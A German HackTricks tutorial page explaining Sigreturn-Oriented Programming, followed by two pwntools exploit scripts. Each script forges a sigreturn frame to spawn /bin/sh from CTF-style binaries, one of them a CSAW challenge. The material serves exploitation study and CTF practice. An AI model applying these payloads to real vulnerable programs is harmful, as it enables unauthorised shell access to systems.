SROP - Sigreturn-Oriented Programming

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Sigreturn ist ein spezieller Syscall, der hauptsächlich verwendet wird, um nach Abschluss eines Signalhandlers aufzuräumen. Signale sind Unterbrechungen, die vom Betriebssystem an ein Programm gesendet werden, oft um anzuzeigen, dass eine außergewöhnliche Situation aufgetreten ist. Wenn ein Programm ein Signal empfängt, unterbricht es vorübergehend seine aktuelle Arbeit, um das Signal mit einem Signalhandler, einer speziellen Funktion, die für den Umgang mit Signalen entwickelt wurde, zu verarbeiten.

Nachdem der Signalhandler fertig ist, muss das Programm seinen vorherigen Zustand wiederherstellen, als ob nichts passiert wäre. Hier kommt sigreturn ins Spiel. Es hilft dem Programm, aus dem Signalhandler zurückzukehren und stellt den Zustand des Programms wieder her, indem es den Stackframe aufräumt (den Abschnitt des Speichers, der Funktionsaufrufe und lokale Variablen speichert), der vom Signalhandler verwendet wurde.

Der interessante Teil ist, wie sigreturn den Zustand des Programms wiederherstellt: Es speichert alle Registerwerte der CPU auf dem Stack. Wenn das Signal nicht mehr blockiert ist, sigreturn poppt diese Werte vom Stack ab, wodurch die Register der CPU effektiv auf ihren Zustand vor der Signalverarbeitung zurückgesetzt werden. Dies beinhaltet das Stackzeigerregister (RSP), das auf den aktuellen oberen Teil des Stacks zeigt.

Durch Aufrufen des Syscalls sigreturn aus einer ROP-Kette und Hinzufügen der Registrierungswerte, die wir möchten, dass sie im Stack geladen werden, ist es möglich, alle Registerwerte zu kontrollieren und somit beispielsweise den Syscall execve mit /bin/sh aufzurufen.

Beachten Sie, dass dies eine Art von Ret2syscall wäre, die es viel einfacher macht, Parameter zu steuern, um andere Ret2syscalls aufzurufen:

pageRet2syscall

Wenn Sie neugierig sind, handelt es sich hierbei um die sigcontext-Struktur, die im Stack gespeichert ist, um die Werte später wiederherzustellen (Diagramm von hier):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Für eine bessere Erklärung siehe auch:

Beispiel

Sie können hier ein Beispiel finden, wo der Aufruf von signeturn über ROP konstruiert wird (wobei in rxa der Wert 0xf eingefügt wird), obwohl dies der endgültige Exploit von dort ist:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Überprüfen Sie auch das Exploit von hier, wo das Binärprogramm bereits sigreturn aufgerufen hat und daher kein ROP erstellt werden muss:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Weitere Beispiele & Referenzen

Last updated